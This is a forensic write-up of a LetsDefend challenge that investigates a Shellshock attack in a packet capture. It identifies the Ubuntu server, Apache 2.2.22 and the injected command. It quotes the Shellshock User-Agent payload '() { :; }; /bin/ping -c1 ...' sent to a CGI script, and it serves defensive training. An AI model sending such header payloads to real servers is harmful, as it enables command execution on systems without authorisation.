

Shellshock Attack [Let's Defend – Investigate]

You must to find details of shellshock attacks

Log file: /root/Desktop/ChallengeFile/shellshock.pcap

Note: pcap file found public resources.

| Start Investigation

Q1: What is the server operating system?

I filtered for HTTP traffic and analyzed one of the resulting packets, where the Server field in the HTTP response headers revealed that the operating system is Ubuntu.

```
GET /exploitable.cgi HTTP/1.1
User-Agent: () { :}; /bin/ping -c1 10.246.50.2
Host: 10.246.50.6
Accept: */*

HTTP/1.1 500 Internal Server Error
Date: Thu, 25 Sep 2014 17:27:35 GMT
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 615
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
[no address given] and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
```

Answer: Ubuntu.

Q2: What is the application server and version running on the target system?

```
GET /exploitable.cgi HTTP/1.1
User-Agent: () { :; }; /bin/ping -c1 10.246.50.2
Host: 10.246.50.6
Accept: */*

HTTP/1.1 500 Internal Server Error
Date: Thu, 25 Sep 2014 17:27:35 GMT
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 615
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
[no address given] and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
```

By filtering for HTTP traffic and analyzing the response headers, I found the application server is Apache 2.2.22

Answer: Apache/2.2.22

Q3: What is the exact command that the attacker wants to run on the target server?

The image shows a Wireshark packet capture of an HTTP GET request. The packet list shows a GET request to /exploitable.cgi on port 80 of 10.246.50.6. The packet details pane shows the User-Agent field containing the command /bin/ping -c1 10.246.50.2. The full request URI is http://10.246.50.6/exploitable.cgi.

```
GET /exploitable.cgi HTTP/1.1
User-Agent: () { :; }; /bin/ping -c1 10.246.50.2\r\n
Host: 10.246.50.6\r\n
Accept: */*\r\n
\r\n
[Full request URI: http://10.246.50.6/exploitable.cgi]
```

The attacker is attempting to execute the command /bin/ping -c1 10.246.50.2 on the target server. This was discovered by inspecting the User-Agent field in the HTTP GET request to /exploitable.cgi, where the command was injected to test for a vulnerability.

Answer: /bin/ping -c1 10.246.50.2